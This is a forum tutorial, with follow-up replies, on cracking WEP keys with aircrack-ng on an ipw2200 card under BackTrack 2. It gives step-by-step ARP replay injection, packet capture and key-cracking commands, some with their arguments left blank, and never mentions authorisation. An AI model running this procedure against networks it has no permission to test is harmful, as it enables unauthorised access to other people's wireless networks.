Wireless setting for IPW 2200 Solution

Here's a quick guide for anyone trying to get injection working on an ipw2200 with BackTrack 2. This is intended for first-time aircrack-ng users, so it will only detail the most basic procedure. You can find more complicated guides with troubleshooting for some of the more complicated access points in other threads.

I will be demonstrating a simple WEP crack using ARP request replay. Please also read the newbie guide first so that you generally know what you are doing.

** This tutorial is for open authenticted networks only. Shared key authentication is more complicated. **

By the way: if you are very new to linux, selecting text in the terminal window (with the mouse) will automatically copy it, and clicking both mouse buttons at the same time will paste. You can stop any aircrack programs with ctrl+c. To see the history of the terminal window, you can scroll with shift+pageUp/pageDown.

BackTrack 2 supports ipw2200 injection out of the box, but there are some limitations. Injection is slightly more complex when using the ipw2200 as opposed to other cards - you have to use different interfaces to inject and monitor. You can only use the following aireplay-ng attacks with the ipw2200:
2 (--interactive)
3 (--arpreplay)
4 (--chopchop)

You will need the following information first. You can find access point details using: "iwlist eth1 scan" after you log into BackTrack.:
Access point bssid
Access point channel

==================

0. (optional) The aircrack-ng team has done such a great job lately that there have been 2 releases since BackTrack 2. So the first thing that you should do is update aircrack-ng to v0.9. You should start backtrack connected to a LAN so that you can download the updates.
wget http://download.aircrack-ng.org/aircrack-ng-0.9.tar.gz
tar -zxvf aircrack-ng-0.9.tar.gz
cd aircrack-ng-0.9
make
make install

1. Enable the rtap0 interface.
rmmod ipw2200
modprobe ipw2200 rtap_iface=1

2. Make a 'dummy' connection to the access point. You don't need to know the key at this stage - we just make up a fake one ("fakekey"). This step is required because of a limitation in the ipw2200 driver. ipw2200 must be in managed mode and connected to an access point before it will work with aireplay-ng.
iwconfig eth1 ap
iwconfig eth1 key s:fakekey
iwconfig eth1 mode managed

3. Bring up the interfaces:
ifconfig eth1 up
ifconfig rtap0 up

3a. Optional: at this point, you can type "iwconfig" to see if the dummy connection from step 2 has worked. The connection details will be listed beside the "eth1" interface.

4. Run airodump-ng to capture packets from your access point to dumpfile*.cap. You should always specify a channel with airodump, because otherwise it will try to scan through all channels, and that will break your injection attack.
airodump-ng --channel --bssid -w dumpfile rtap0

4a. After a few seconds in airodump-ng, you should notice that there are clients connected to the access point (they will be listed under "STATION"). Take note of the MAC address of one of the clients. You will use it in the next step.

5. Open another terminal window. Run an ARP replay attack. Note the commands at the end of the line ("-i rtap0 eth1") which tell aireplay-ng to listen on rtap0 and inject on eth1. After some time, an ARP packet will come through and the #/s figure in the airodump-ng window will increase. If the RXQ (receive quality %) column is >90 then you should be getting #/s of 200 or higher, but more importantly, it should be much higher than what it was before.
aireplay-ng --arpreplay -b -h -i rtap0 eth1

6. Wait a few minutes until the #Data reaches 100 000 (if you updated in step 0), or 1 000 000 (if you did not update in step 0). This should be more than enough, but we leave the attack running just in case.

7. Open another terminal window and run aircrack-ng.
If you did not update aircrack-ng in step 0, you will need 1 000 000 IVs, and will have to run aircrack-ng without -z:
aircrack-ng -b dumpfile*.cap
If you did update in step 0, you can use the PTW attack (-z option). Aircrack should say that it is processing approx. 100 000 IVs. If this number is low (less than 1000), there is some problem with your injection attack. Aircrack will then display "Key Found". You should know what to do after that.
aircrack-ng -z -b dumpfile*.cap

You should now have the key.

==================


Thanks that worked..

However...my problem now is with

aircrack-ng -z -b dumpfile*.cap

It doesn't allow option z
tells me it doesn't exist

oh well...

thanks for all the help!

-k

--------------


Hi,

I think you still have some problems with these lines:
modprobe ipw2200 rtap_iface= 2
modprobe ipw rtap_iface= 1

You only need the second line, and it looks like you have a space between = and 1. It should be like this:
modprobe ipw2200 rtap_iface=1

Also, you don't actually need these:
cd /root
cd /pentest/wireless/aircrack-ng
Aircrack-ng is in the path, so you don't need to be in that directory to run it. You can run it from anywhere.


See how you go with these commands.


------------------

Yes, I think it will work if the authentication method of the AP is set to 'open' - step 2 actually authenticates with the AP, but any data that is sent/received would be scrambled because you have enetered the wrong key. With shared authentication, it would probably not work because you need the key before you can authenticate with the AP.

The developers may be able to confirm if using the linux wireless tools is the same as using fake authentication against an open-authentication network.
Does anyone know if this:
iwconfig ath0 bssid
iwconfig ath0 essid
iwconfig ath0 key s:fakekey
will achieve the same result as this:
aireplay-ng --fakeauth 0 -e -a -h ath0

-----------------------

Write & take :
Yudhax